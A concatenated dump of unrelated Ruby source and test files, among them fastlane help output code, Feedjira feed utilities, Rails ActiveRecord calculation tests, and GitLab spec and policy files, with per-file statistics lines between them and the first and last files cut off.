corrections << action_names.select { |name| name.include?(filter) }
puts("Did you mean: #{corrections.flatten.uniq.join(', ')}?".green) unless corrections.flatten.empty?
end
end
def self.action_subclass_error(name)
"Please update your action '#{name}' to be a subclass of `Action` by adding ` < Action` after your class name."
end
def self.print_summary(action, name)
rows = []
if action.description
rows << [action.description]
rows << [' ']
end
if action.details
action.details.split("\n").each do |detail|
rows << (detail.empty? ? [' '] : [detail])
end
rows << [' ']
end
authors = Array(action.author || action.authors)
rows << ["Created by #{authors.join(', ').green}"] unless authors.empty?
puts(Terminal::Table.new(title: name.green, rows: FastlaneCore::PrintTable.transform_output(rows)))
puts("")
end
def self.print_options(action, name)
options = parse_options(action.available_options) if action.available_options
if options
puts(Terminal::Table.new(
title: "#{name} Options".green,
headings: ['Key', 'Description', 'Env Var', 'Default'],
rows: FastlaneCore::PrintTable.transform_output(options)
))
else
puts("No available options".yellow)
end
puts("* = default value is dependent on the user's system")
puts("")
end
def self.print_output_variables(action, name)
output = action.output
return if output.nil? || output.empty?
puts(Terminal::Table.new(
title: "#{name} Output Variables".green,
headings: ['Key', 'Description'],
rows: FastlaneCore::PrintTable.transform_output(output.map { |key, desc| [key.yellow, desc] })
))
puts("Access the output values using `lane_context[SharedValues::VARIABLE_NAME]`")
puts("")
end
def self.print_return_value(action, name)
return unless action.return_value
puts(Terminal::Table.new(title: "#{name} Return Value".green,
rows: FastlaneCore::PrintTable.transform_output([[action.return_value]])))
puts("")
end
# Iterates through all available actions and yields from there
def self.all_actions(platform = nil)
action_symbols = Fastlane::Actions.constants.select { |c| Fastlane::Actions.const_get(c).kind_of?(Class) && c != :TestSampleCodeAction }
action_symbols.sort.each do |symbol|
action = Fastlane::Actions.const_get(symbol)
# We allow classes that don't respond to is_supported? to come through because we want to list
# them as broken actions in the table, regardless of platform specification
next if platform && action.respond_to?(:is_supported?) && !action.is_supported?(platform.to_sym)
name = symbol.to_s.gsub('Action', '').fastlane_underscore
yield(action, name)
end
end
def self.find_action_named(name)
all_actions do |action, action_name|
return action if action_name == name
end
nil
end
# Helper:
def self.parse_options(options, fill_all = true)
rows = []
rows << [options] if options.kind_of?(String)
if options.kind_of?(Array)
options.each do |current|
if current.kind_of?(FastlaneCore::ConfigItem)
rows << [current.key.to_s.yellow, current.description, current.env_name, current.help_default_value]
elsif current.kind_of?(Array)
# Legacy actions that don't use the new config manager
UI.user_error!("Invalid number of elements in this row: #{current}. Must be 2 or 3") unless [2, 3].include?(current.count)
rows << current
rows.last[0] = rows.last.first.yellow # color it yellow :)
rows.last << nil while fill_all && rows.last.count < 4 # to have a nice border in the table
end
end
end
rows
end
end
end
| 33.457547 | 142 | 0.605245 |
f88fa77e9472b19ff5045eec41abd1acd38392c4 | 386 | module Bibliovore
# Parent class for all Collectnik errors
class BibliovoreError < StandardError
end
# Indicates a invalid page has been requested from a result set
class ApiError < BibliovoreError
end
# Indicates that the response couldn't be interpreted as a BiblioCommons API
# object or a proper error reponse
class UnrecognizableJSON < BibliovoreError
end
end | 27.571429 | 78 | 0.779793 |
1ca8dd7e86094a0a3a606c8dc02e67947d4d5998 | 1,670 | # rubocop:disable Style/Documentation
# rubocop:disable Style/DocumentationMethod
module Feedjira
module FeedEntryUtilities
include Enumerable
include DateTimeUtilities
def published
@published ||= @updated
end
def parse_datetime(string)
DateTime.parse(string).feed_utils_to_gm_time
rescue StandardError => e
Feedjira.logger.warn { "Failed to parse date #{string.inspect}" }
Feedjira.logger.debug(e)
nil
end
##
# Returns the id of the entry or its url if not id is present, as some
# formats don't support it
def id
@entry_id ||= @url
end
##
# Writer for published. By default, we keep the "oldest" publish time found.
def published=(val)
parsed = parse_datetime(val)
@published = parsed if parsed && (!@published || parsed < @published)
end
##
# Writer for updated. By default, we keep the most recent update time found.
def updated=(val)
parsed = parse_datetime(val)
@updated = parsed if parsed && (!@updated || parsed > @updated)
end
def sanitize!
%w(title author summary content image).each do |name|
if respond_to?(name) && send(name).respond_to?(:sanitize!)
send(name).send :sanitize!
end
end
end
alias last_modified published
def each
@rss_fields ||= instance_variables
@rss_fields.each do |field|
yield(field.to_s.sub('@', ''), instance_variable_get(field))
end
end
def [](field)
instance_variable_get("@#{field}")
end
def []=(field, value)
instance_variable_set("@#{field}", value)
end
end
end
| 24.558824 | 80 | 0.633533 |
28dbff09551e0fa1be35a7ebc37b759f25efeb05 | 50 | module PivotalCardChecker
VERSION = "0.0.1"
end
| 12.5 | 25 | 0.74 |
b9445ee072f45d5ec00a0b352a930e6162dbe296 | 21,524 | require "cases/helper"
require 'models/club'
require 'models/company'
require "models/contract"
require 'models/edge'
require 'models/organization'
require 'models/possession'
require 'models/topic'
require 'models/reply'
require 'models/minivan'
require 'models/speedometer'
require 'models/ship_part'
Company.has_many :accounts
class NumericData < ActiveRecord::Base
self.table_name = 'numeric_data'
property :world_population, Type::Integer.new
property :my_house_population, Type::Integer.new
property :atoms_in_universe, Type::Integer.new
end
class CalculationsTest < ActiveRecord::TestCase
fixtures :companies, :accounts, :topics
def test_should_sum_field
assert_equal 318, Account.sum(:credit_limit)
end
def test_should_average_field
value = Account.average(:credit_limit)
assert_equal 53.0, value
end
def test_should_resolve_aliased_attributes
assert_equal 318, Account.sum(:available_credit)
end
def test_should_return_decimal_average_of_integer_field
value = Account.average(:id)
assert_equal 3.5, value
end
def test_should_return_integer_average_if_db_returns_such
ShipPart.delete_all
ShipPart.create!(:id => 3, :name => 'foo')
value = ShipPart.average(:id)
assert_equal 3, value
end
def test_should_return_nil_as_average
assert_nil NumericData.average(:bank_balance)
end
def test_type_cast_calculated_value_should_convert_db_averages_of_fixnum_class_to_decimal
assert_equal 0, NumericData.all.send(:type_cast_calculated_value, 0, nil, 'avg')
assert_equal 53.0, NumericData.all.send(:type_cast_calculated_value, 53, nil, 'avg')
end
def test_should_get_maximum_of_field
assert_equal 60, Account.maximum(:credit_limit)
end
def test_should_get_maximum_of_field_with_include
assert_equal 55, Account.where("companies.name != 'Summit'").references(:companies).includes(:firm).maximum(:credit_limit)
end
def test_should_get_minimum_of_field
assert_equal 50, Account.minimum(:credit_limit)
end
def test_should_group_by_field
c = Account.group(:firm_id).sum(:credit_limit)
[1,6,2].each do |firm_id|
assert c.keys.include?(firm_id), "Group #{c.inspect} does not contain firm_id #{firm_id}"
end
end
def test_should_group_by_arel_attribute
c = Account.group(Account.arel_table[:firm_id]).sum(:credit_limit)
[1,6,2].each do |firm_id|
assert c.keys.include?(firm_id), "Group #{c.inspect} does not contain firm_id #{firm_id}"
end
end
def test_should_group_by_multiple_fields
c = Account.group('firm_id', :credit_limit).count(:all)
[ [nil, 50], [1, 50], [6, 50], [6, 55], [9, 53], [2, 60] ].each { |firm_and_limit| assert c.keys.include?(firm_and_limit) }
end
def test_should_group_by_multiple_fields_having_functions
c = Topic.group(:author_name, 'COALESCE(type, title)').count(:all)
assert_equal 1, c[["Carl", "The Third Topic of the day"]]
assert_equal 1, c[["Mary", "Reply"]]
assert_equal 1, c[["David", "The First Topic"]]
assert_equal 1, c[["Carl", "Reply"]]
end
def test_should_group_by_summed_field
c = Account.group(:firm_id).sum(:credit_limit)
assert_equal 50, c[1]
assert_equal 105, c[6]
assert_equal 60, c[2]
end
def test_should_order_by_grouped_field
c = Account.group(:firm_id).order("firm_id").sum(:credit_limit)
assert_equal [1, 2, 6, 9], c.keys.compact
end
def test_should_order_by_calculation
c = Account.group(:firm_id).order("sum_credit_limit desc, firm_id").sum(:credit_limit)
assert_equal [105, 60, 53, 50, 50], c.keys.collect { |k| c[k] }
assert_equal [6, 2, 9, 1], c.keys.compact
end
def test_should_limit_calculation
c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").limit(2).sum(:credit_limit)
assert_equal [1, 2], c.keys.compact
end
def test_should_limit_calculation_with_offset
c = Account.where("firm_id IS NOT NULL").group(:firm_id).order("firm_id").
limit(2).offset(1).sum(:credit_limit)
assert_equal [2, 6], c.keys.compact
end
def test_limit_should_apply_before_count
accounts = Account.limit(3).where('firm_id IS NOT NULL')
assert_equal 3, accounts.count(:firm_id)
assert_equal 3, accounts.select(:firm_id).count
end
def test_count_should_shortcut_with_limit_zero
accounts = Account.limit(0)
assert_no_queries { assert_equal 0, accounts.count }
end
def test_limit_is_kept
return if current_adapter?(:OracleAdapter)
queries = assert_sql { Account.limit(1).count }
assert_equal 1, queries.length
assert_match(/LIMIT/, queries.first)
end
def test_offset_is_kept
return if current_adapter?(:OracleAdapter)
queries = assert_sql { Account.offset(1).count }
assert_equal 1, queries.length
assert_match(/OFFSET/, queries.first)
end
def test_limit_with_offset_is_kept
return if current_adapter?(:OracleAdapter)
queries = assert_sql { Account.limit(1).offset(1).count }
assert_equal 1, queries.length
assert_match(/LIMIT/, queries.first)
assert_match(/OFFSET/, queries.first)
end
def test_no_limit_no_offset
queries = assert_sql { Account.count }
assert_equal 1, queries.length
assert_no_match(/LIMIT/, queries.first)
assert_no_match(/OFFSET/, queries.first)
end
def test_count_on_invalid_columns_raises
e = assert_raises(ActiveRecord::StatementInvalid) {
Account.select("credit_limit, firm_name").count
}
assert_match %r{accounts}i, e.message
assert_match "credit_limit, firm_name", e.message
end
def test_should_group_by_summed_field_having_condition
c = Account.group(:firm_id).having('sum(credit_limit) > 50').sum(:credit_limit)
assert_nil c[1]
assert_equal 105, c[6]
assert_equal 60, c[2]
end
def test_should_group_by_summed_field_having_condition_from_select
c = Account.select("MIN(credit_limit) AS min_credit_limit").group(:firm_id).having("MIN(credit_limit) > 50").sum(:credit_limit)
assert_nil c[1]
assert_equal 60, c[2]
assert_equal 53, c[9]
end
def test_should_group_by_summed_association
c = Account.group(:firm).sum(:credit_limit)
assert_equal 50, c[companies(:first_firm)]
assert_equal 105, c[companies(:rails_core)]
assert_equal 60, c[companies(:first_client)]
end
def test_should_sum_field_with_conditions
assert_equal 105, Account.where('firm_id = 6').sum(:credit_limit)
end
def test_should_return_zero_if_sum_conditions_return_nothing
assert_equal 0, Account.where('1 = 2').sum(:credit_limit)
assert_equal 0, companies(:rails_core).companies.where('1 = 2').sum(:id)
end
def test_sum_should_return_valid_values_for_decimals
NumericData.create(:bank_balance => 19.83)
assert_equal 19.83, NumericData.sum(:bank_balance)
end
def test_should_return_type_casted_values_with_group_and_expression
assert_equal 0.5, Account.group(:firm_name).sum('0.01 * credit_limit')['37signals']
end
def test_should_group_by_summed_field_with_conditions
c = Account.where('firm_id > 1').group(:firm_id).sum(:credit_limit)
assert_nil c[1]
assert_equal 105, c[6]
assert_equal 60, c[2]
end
def test_should_group_by_summed_field_with_conditions_and_having
c = Account.where('firm_id > 1').group(:firm_id).
having('sum(credit_limit) > 60').sum(:credit_limit)
assert_nil c[1]
assert_equal 105, c[6]
assert_nil c[2]
end
def test_should_group_by_fields_with_table_alias
c = Account.group('accounts.firm_id').sum(:credit_limit)
assert_equal 50, c[1]
assert_equal 105, c[6]
assert_equal 60, c[2]
end
def test_should_calculate_with_invalid_field
assert_equal 6, Account.calculate(:count, '*')
assert_equal 6, Account.calculate(:count, :all)
end
def test_should_calculate_grouped_with_invalid_field
c = Account.group('accounts.firm_id').count(:all)
assert_equal 1, c[1]
assert_equal 2, c[6]
assert_equal 1, c[2]
end
def test_should_calculate_grouped_association_with_invalid_field
c = Account.group(:firm).count(:all)
assert_equal 1, c[companies(:first_firm)]
assert_equal 2, c[companies(:rails_core)]
assert_equal 1, c[companies(:first_client)]
end
def test_should_group_by_association_with_non_numeric_foreign_key
Speedometer.create! id: 'ABC'
Minivan.create! id: 'OMG', speedometer_id: 'ABC'
c = Minivan.group(:speedometer).count(:all)
first_key = c.keys.first
assert_equal Speedometer, first_key.class
assert_equal 1, c[first_key]
end
def test_should_calculate_grouped_association_with_foreign_key_option
Account.belongs_to :another_firm, :class_name => 'Firm', :foreign_key => 'firm_id'
c = Account.group(:another_firm).count(:all)
assert_equal 1, c[companies(:first_firm)]
assert_equal 2, c[companies(:rails_core)]
assert_equal 1, c[companies(:first_client)]
end
def test_should_calculate_grouped_by_function
c = Company.group("UPPER(#{QUOTED_TYPE})").count(:all)
assert_equal 2, c[nil]
assert_equal 1, c['DEPENDENTFIRM']
assert_equal 5, c['CLIENT']
assert_equal 2, c['FIRM']
end
def test_should_calculate_grouped_by_function_with_table_alias
c = Company.group("UPPER(companies.#{QUOTED_TYPE})").count(:all)
assert_equal 2, c[nil]
assert_equal 1, c['DEPENDENTFIRM']
assert_equal 5, c['CLIENT']
assert_equal 2, c['FIRM']
end
def test_should_not_overshadow_enumerable_sum
assert_equal 6, [1, 2, 3].sum(&:abs)
end
def test_should_sum_scoped_field
assert_equal 15, companies(:rails_core).companies.sum(:id)
end
def test_should_sum_scoped_field_with_from
assert_equal Club.count, Organization.clubs.count
end
def test_should_sum_scoped_field_with_conditions
assert_equal 8, companies(:rails_core).companies.where('id > 7').sum(:id)
end
def test_should_group_by_scoped_field
c = companies(:rails_core).companies.group(:name).sum(:id)
assert_equal 7, c['Leetsoft']
assert_equal 8, c['Jadedpixel']
end
def test_should_group_by_summed_field_through_association_and_having
c = companies(:rails_core).companies.group(:name).having('sum(id) > 7').sum(:id)
assert_nil c['Leetsoft']
assert_equal 8, c['Jadedpixel']
end
def test_should_count_selected_field_with_include
assert_equal 6, Account.includes(:firm).distinct.count
assert_equal 4, Account.includes(:firm).distinct.select(:credit_limit).count
end
def test_should_not_perform_joined_include_by_default
assert_equal Account.count, Account.includes(:firm).count
queries = assert_sql { Account.includes(:firm).count }
assert_no_match(/join/i, queries.last)
end
def test_should_perform_joined_include_when_referencing_included_tables
joined_count = Account.includes(:firm).where(:companies => {:name => '37signals'}).count
assert_equal 1, joined_count
end
def test_should_count_scoped_select
Account.update_all("credit_limit = NULL")
assert_equal 0, Account.select("credit_limit").count
end
def test_should_count_scoped_select_with_options
Account.update_all("credit_limit = NULL")
Account.last.update_columns('credit_limit' => 49)
Account.first.update_columns('credit_limit' => 51)
assert_equal 1, Account.select("credit_limit").where('credit_limit >= 50').count
end
def test_should_count_manual_select_with_include
assert_equal 6, Account.select("DISTINCT accounts.id").includes(:firm).count
end
def test_count_with_column_parameter
assert_equal 5, Account.count(:firm_id)
end
def test_count_with_distinct
assert_equal 4, Account.select(:credit_limit).distinct.count
assert_equal 4, Account.select(:credit_limit).uniq.count
end
def test_count_with_aliased_attribute
assert_equal 6, Account.count(:available_credit)
end
def test_count_with_column_and_options_parameter
assert_equal 2, Account.where("credit_limit = 50 AND firm_id IS NOT NULL").count(:firm_id)
end
def test_should_count_field_in_joined_table
assert_equal 5, Account.joins(:firm).count('companies.id')
assert_equal 4, Account.joins(:firm).distinct.count('companies.id')
end
def test_should_count_field_in_joined_table_with_group_by
c = Account.group('accounts.firm_id').joins(:firm).count('companies.id')
[1,6,2,9].each { |firm_id| assert c.keys.include?(firm_id) }
end
def test_count_with_no_parameters_isnt_deprecated
assert_not_deprecated { Account.count }
end
def test_count_with_too_many_parameters_raises
assert_raise(ArgumentError) { Account.count(1, 2, 3) }
end
def test_count_with_order
assert_equal 6, Account.order(:credit_limit).count
end
def test_count_with_reverse_order
assert_equal 6, Account.order(:credit_limit).reverse_order.count
end
def test_count_with_where_and_order
assert_equal 1, Account.where(firm_name: '37signals').count
assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).count
assert_equal 1, Account.where(firm_name: '37signals').order(:firm_name).reverse_order.count
end
def test_should_sum_expression
# Oracle adapter returns floating point value 636.0 after SUM
if current_adapter?(:OracleAdapter)
assert_equal 636, Account.sum("2 * credit_limit")
else
assert_equal 636, Account.sum("2 * credit_limit").to_i
end
end
def test_sum_expression_returns_zero_when_no_records_to_sum
assert_equal 0, Account.where('1 = 2').sum("2 * credit_limit")
end
def test_count_with_from_option
assert_equal Company.count(:all), Company.from('companies').count(:all)
assert_equal Account.where("credit_limit = 50").count(:all),
Account.from('accounts').where("credit_limit = 50").count(:all)
assert_equal Company.where(:type => "Firm").count(:type),
Company.where(:type => "Firm").from('companies').count(:type)
end
def test_sum_with_from_option
assert_equal Account.sum(:credit_limit), Account.from('accounts').sum(:credit_limit)
assert_equal Account.where("credit_limit > 50").sum(:credit_limit),
Account.where("credit_limit > 50").from('accounts').sum(:credit_limit)
end
def test_average_with_from_option
assert_equal Account.average(:credit_limit), Account.from('accounts').average(:credit_limit)
assert_equal Account.where("credit_limit > 50").average(:credit_limit),
Account.where("credit_limit > 50").from('accounts').average(:credit_limit)
end
def test_minimum_with_from_option
assert_equal Account.minimum(:credit_limit), Account.from('accounts').minimum(:credit_limit)
assert_equal Account.where("credit_limit > 50").minimum(:credit_limit),
Account.where("credit_limit > 50").from('accounts').minimum(:credit_limit)
end
def test_maximum_with_from_option
assert_equal Account.maximum(:credit_limit), Account.from('accounts').maximum(:credit_limit)
assert_equal Account.where("credit_limit > 50").maximum(:credit_limit),
Account.where("credit_limit > 50").from('accounts').maximum(:credit_limit)
end
def test_maximum_with_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
assert_equal 7, Company.includes(:contracts).maximum(:developer_id)
end
def test_minimum_with_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
assert_equal 7, Company.includes(:contracts).minimum(:developer_id)
end
def test_sum_with_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
assert_equal 7, Company.includes(:contracts).sum(:developer_id)
end
def test_from_option_with_specified_index
if Edge.connection.adapter_name == 'MySQL' or Edge.connection.adapter_name == 'Mysql2'
assert_equal Edge.count(:all), Edge.from('edges USE INDEX(unique_edge_index)').count(:all)
assert_equal Edge.where('sink_id < 5').count(:all),
Edge.from('edges USE INDEX(unique_edge_index)').where('sink_id < 5').count(:all)
end
end
def test_from_option_with_table_different_than_class
assert_equal Account.count(:all), Company.from('accounts').count(:all)
end
def test_distinct_is_honored_when_used_with_count_operation_after_group
# Count the number of authors for approved topics
approved_topics_count = Topic.group(:approved).count(:author_name)[true]
assert_equal approved_topics_count, 4
# Count the number of distinct authors for approved Topics
distinct_authors_for_approved_count = Topic.group(:approved).distinct.count(:author_name)[true]
assert_equal distinct_authors_for_approved_count, 3
end
def test_pluck
assert_equal [1,2,3,4,5], Topic.order(:id).pluck(:id)
end
def test_pluck_without_column_names
assert_equal [[1, "Firm", 1, nil, "37signals", nil, 1, nil, ""]],
Company.order(:id).limit(1).pluck
end
def test_pluck_type_cast
topic = topics(:first)
relation = Topic.where(:id => topic.id)
assert_equal [ topic.approved ], relation.pluck(:approved)
assert_equal [ topic.last_read ], relation.pluck(:last_read)
assert_equal [ topic.written_on ], relation.pluck(:written_on)
end
def test_pluck_and_uniq
assert_equal [50, 53, 55, 60], Account.order(:credit_limit).uniq.pluck(:credit_limit)
end
def test_pluck_in_relation
company = Company.first
contract = company.contracts.create!
assert_equal [contract.id], company.contracts.pluck(:id)
end
def test_pluck_on_aliased_attribute
assert_equal 'The First Topic', Topic.order(:id).pluck(:heading).first
end
def test_pluck_with_serialization
t = Topic.create!(:content => { :foo => :bar })
assert_equal [{:foo => :bar}], Topic.where(:id => t.id).pluck(:content)
end
def test_pluck_with_qualified_column_name
assert_equal [1,2,3,4,5], Topic.order(:id).pluck("topics.id")
end
def test_pluck_auto_table_name_prefix
c = Company.create!(:name => "test", :contracts => [Contract.new])
assert_equal [c.id], Company.joins(:contracts).pluck(:id)
end
def test_pluck_if_table_included
c = Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
assert_equal [c.id], Company.includes(:contracts).where("contracts.id" => c.contracts.first).pluck(:id)
end
def test_pluck_not_auto_table_name_prefix_if_column_joined
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
assert_equal [7], Company.joins(:contracts).pluck(:developer_id)
end
def test_pluck_with_selection_clause
assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT credit_limit').sort
assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT accounts.credit_limit').sort
assert_equal [50, 53, 55, 60], Account.pluck('DISTINCT(credit_limit)').sort
# MySQL returns "SUM(DISTINCT(credit_limit))" as the column name unless
# an alias is provided. Without the alias, the column cannot be found
# and properly typecast.
assert_equal [50 + 53 + 55 + 60], Account.pluck('SUM(DISTINCT(credit_limit)) as credit_limit')
end
def test_plucks_with_ids
assert_equal Company.all.map(&:id).sort, Company.ids.sort
end
def test_pluck_with_includes_limit_and_empty_result
assert_equal [], Topic.includes(:replies).limit(0).pluck(:id)
assert_equal [], Topic.includes(:replies).limit(1).where('0 = 1').pluck(:id)
end
def test_pluck_not_auto_table_name_prefix_if_column_included
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
ids = Company.includes(:contracts).pluck(:developer_id)
assert_equal Company.count, ids.length
assert_equal [7], ids.compact
end
def test_pluck_multiple_columns
assert_equal [
[1, "The First Topic"], [2, "The Second Topic of the day"],
[3, "The Third Topic of the day"], [4, "The Fourth Topic of the day"],
[5, "The Fifth Topic of the day"]
], Topic.order(:id).pluck(:id, :title)
assert_equal [
[1, "The First Topic", "David"], [2, "The Second Topic of the day", "Mary"],
[3, "The Third Topic of the day", "Carl"], [4, "The Fourth Topic of the day", "Carl"],
[5, "The Fifth Topic of the day", "Jason"]
], Topic.order(:id).pluck(:id, :title, :author_name)
end
def test_pluck_with_multiple_columns_and_selection_clause
assert_equal [[1, 50], [2, 50], [3, 50], [4, 60], [5, 55], [6, 53]],
Account.pluck('id, credit_limit')
end
def test_pluck_with_multiple_columns_and_includes
Company.create!(:name => "test", :contracts => [Contract.new(:developer_id => 7)])
companies_and_developers = Company.order('companies.id').includes(:contracts).pluck(:name, :developer_id)
assert_equal Company.count, companies_and_developers.length
assert_equal ["37signals", nil], companies_and_developers.first
assert_equal ["test", 7], companies_and_developers.last
end
def test_pluck_with_reserved_words
Possession.create!(:where => "Over There")
assert_equal ["Over There"], Possession.pluck(:where)
end
def test_pluck_replaces_select_clause
taks_relation = Topic.select(:approved, :id).order(:id)
assert_equal [1,2,3,4,5], taks_relation.pluck(:id)
assert_equal [false, true, true, true, true], taks_relation.pluck(:approved)
end
end
| 35.055375 | 131 | 0.732067 |
7a0dc441077855395a109f1a306df94ced9d60e5 | 1,238 | require 'spec_helper'
describe 'stackstate_agent::integrations::process' do
let(:facts) {{
operatingsystem: 'Ubuntu',
}}
let(:conf_dir) { '/etc/sts-agent/conf.d' }
let(:dd_user) { 'sts-agent' }
let(:dd_group) { 'root' }
let(:dd_package) { 'stackstate-agent' }
let(:dd_service) { 'stackstate-agent' }
let(:conf_file) { "#{conf_dir}/process.yaml" }
it { should compile.with_all_deps }
it { should contain_file(conf_file).with(
owner: dd_user,
group: dd_group,
mode: '0600',
)}
it { should contain_file(conf_file).that_requires("Package[#{dd_package}]") }
it { should contain_file(conf_file).that_notifies("Service[#{dd_service}]") }
context 'with default parameters' do
it { should contain_file(conf_file).without_content(%r{^[^#]*name:}) }
end
context 'with parameters set' do
let(:params) {{
processes: [
{
'name' => 'foo',
'search_string' => 'bar',
'exact_match' => true
}
]
}}
it { should contain_file(conf_file).with_content(%r{name: foo}) }
it { should contain_file(conf_file).with_content(%r{search_string: bar}) }
it { should contain_file(conf_file).with_content(%r{exact_match: true}) }
end
end
| 29.47619 | 79 | 0.634087 |
915f6d994a494bedd69f67bf1c41da11ea62d5f9 | 1,937 | describe Travis::Yml::Schema::Def::Jobs do
describe 'jobs_includes' do
subject { Travis::Yml.schema[:definitions][:type][:jobs_includes] }
# it { puts JSON.pretty_generate(subject) }
it do
should eq(
'$id': :jobs_includes,
title: 'Job Matrix Includes',
anyOf: [
{
type: :array,
items: {
'$ref': '#/definitions/type/jobs_include',
},
normal: true,
},
{
'$ref': '#/definitions/type/jobs_include',
}
]
)
end
end
describe 'jobs_include' do
subject { Travis::Yml.schema[:definitions][:type][:jobs_include][:allOf][0][:properties] }
# it { puts JSON.pretty_generate(subject) }
it do
should eq(
language: {
'$ref': '#/definitions/type/language'
},
os: {
'$ref': '#/definitions/type/os'
},
dist: {
'$ref': '#/definitions/type/dist'
},
arch: {
'$ref': '#/definitions/type/arch'
},
osx_image: {
type: :string,
summary: 'OSX image to use for the build environment',
only: {
os: [
'osx'
]
}
},
sudo: {
'$ref': '#/definitions/type/sudo'
},
env: {
'$ref': '#/definitions/type/env_vars'
},
compiler: {
type: :string,
example: 'gcc',
only: {
language: [
'c',
'cpp'
]
}
},
branches: {
'$ref': '#/definitions/type/branches'
},
name: {
type: :string,
flags: [
:unique
]
},
stage: {
type: :string
},
allow_failure: {
type: :boolean
}
)
end
end
end
| 21.522222 | 94 | 0.410945 |
bf51ebb7fabf299851a00ceda276be075f5b89c1 | 3,392 | # This file is copied to spec/ when you run 'rails generate rspec:install'
ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../../config/environment', __FILE__)
# Prevent database truncation if the environment is production
abort('The Rails environment is running in production mode!') if Rails.env.production?
require 'spec_helper'
require 'rspec/rails'
require 'support/controller_macros'
require 'support/request_spec_helper'
require 'rails-controller-testing'
# Add additional requires below this line. Rails is not loaded until this point!
# Requires supporting ruby files with custom matchers and macros, etc, in
# spec/support/ and its subdirectories. Files matching `spec/**/*_spec.rb` are
# run as spec files by default. This means that files in spec/support that end
# in _spec.rb will both be required and run as specs, causing the specs to be
# run twice. It is recommended that you do not name files matching this glob to
# end with _spec.rb. You can configure this pattern with the --pattern
# option on the command line or in ~/.rspec, .rspec or `.rspec-local`.
#
# The following line is provided for convenience purposes. It has the downside
# of increasing the boot-up time by auto-requiring all files in the support
# directory. Alternatively, in the individual `*_spec.rb` files, manually
# require only the support files necessary.
#
# Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f }
# Checks for pending migration and applies them before tests are run.
# If you are not using ActiveRecord, you can remove this line.
ActiveRecord::Migration.maintain_test_schema!
RSpec.configure do |config|
config.include FactoryBot::Syntax::Methods
# Remove this line if you're not using ActiveRecord or ActiveRecord fixtures
config.fixture_path = "#{::Rails.root}/spec/fixtures"
# If you're not using ActiveRecord, or you'd prefer not to run each of your
# examples within a transaction, remove the following line or assign false
# instead of true.
config.use_transactional_fixtures = true
# RSpec Rails can automatically mix in different behaviours to your tests
# based on their file location, for example enabling you to call `get` and
# `post` in specs under `spec/controllers`.
#
# You can disable this behaviour by removing the line below, and instead
# explicitly tag your specs with their type, e.g.:
#
# RSpec.describe UsersController, :type => :controller do
# # ...
# end
#
# The different available types are documented in the features, such as in
# https://relishapp.com/rspec/rspec-rails/docs
config.infer_spec_type_from_file_location!
# Filter lines from Rails gems in backtraces.
config.filter_rails_from_backtrace!
# arbitrary gems may also be filtered via:
# config.filter_gems_from_backtrace("gem name")
config.include Devise::Test::ControllerHelpers, type: :controller
config.include Devise::Test::ControllerHelpers, type: :view
# seee https://github.com/rspec/rspec-rails/issues/1644#issuecomment-234129767
config.include ::Rails::Controller::Testing::TestProcess, type: :controller
config.include ::Rails::Controller::Testing::TemplateAssertions, type: :controller
config.include ::Rails::Controller::Testing::Integration, type: :controller
config.extend ControllerMacros, :type => :controller
config.include RequestSpecHelper, type: :request
end
| 44.631579 | 86 | 0.758255 |
793da793515bea90c16e067d3cc259d57d90ab43 | 371 | # frozen_string_literal: true
class PathLockPolicy < BasePolicy # rubocop:disable Gitlab/NamespacedClass
delegate { @subject.project }
condition(:is_author) { @user && @subject.user == @user }
condition(:is_project_member) { @user && @subject.project && @subject.project.team.member?(user) }
rule { is_author & is_project_member }.enable :admin_path_locks
end
| 33.727273 | 100 | 0.74124 |
1ce051f91bb92ada20570d480b3b76a2caa71ffd | 814 | Pod::Spec.new do |s|
s.name = "react-native-waterfall"
s.version = "1.0.0"
s.summary = "基于UICollectionView实现的React Native 瀑布流"
s.description = <<-DESC
这是一个基于原生UICollectionView实现的React Native版本的瀑布流UI控件
s.homepage = "https://github.com/spricity/react-native-waterfall"
s.screenshots = "https://img.alicdn.com/tps/TB1RkeXKVXXXXXsXFXXXXXXXXXX-750-1378.jpg"
s.license = 'MIT'
s.author = { "崎轩" => "[email protected]" }
s.source = { :git => "https://github.com/spricity/react-native-waterfall.git", :tag => s.version.to_s }
s.platform = :ios, '6.0'
s.requires_arc = true
s.source_files = 'RNWaterfall/*'
s.frameworks = 'Foundation', 'UIKit'
end | 40.7 | 117 | 0.579853 |
87650835b0557f37866ccdb50f9d7a11da8531aa | 10,705 | # frozen_string_literal: true
require 'spec_helper'
describe TodosFinder do
describe '#execute' do
let(:user) { create(:user) }
let(:group) { create(:group) }
let(:project) { create(:project, namespace: group) }
let(:issue) { create(:issue, project: project) }
let(:merge_request) { create(:merge_request, source_project: project) }
let(:finder) { described_class }
before do
group.add_developer(user)
end
describe '#execute' do
it 'returns no todos if user is nil' do
expect(described_class.new(nil, {}).execute).to be_empty
end
context 'filtering' do
let!(:todo1) { create(:todo, user: user, project: project, target: issue) }
let!(:todo2) { create(:todo, user: user, group: group, target: merge_request) }
it 'returns correct todos when filtered by a project' do
todos = finder.new(user, { project_id: project.id }).execute
expect(todos).to match_array([todo1])
end
it 'returns correct todos when filtered by a group' do
todos = finder.new(user, { group_id: group.id }).execute
expect(todos).to match_array([todo1, todo2])
end
context 'when filtering by type' do
it 'returns correct todos when filtered by a type' do
todos = finder.new(user, { type: 'Issue' }).execute
expect(todos).to match_array([todo1])
end
it 'returns the correct todos when filtering for multiple types' do
todos = finder.new(user, { type: %w[Issue MergeRequest] }).execute
expect(todos).to match_array([todo1, todo2])
end
end
context 'when filtering for actions' do
let!(:todo1) { create(:todo, user: user, project: project, target: issue, action: Todo::ASSIGNED) }
let!(:todo2) { create(:todo, user: user, group: group, target: merge_request, action: Todo::DIRECTLY_ADDRESSED) }
context 'by action ids' do
it 'returns the expected todos' do
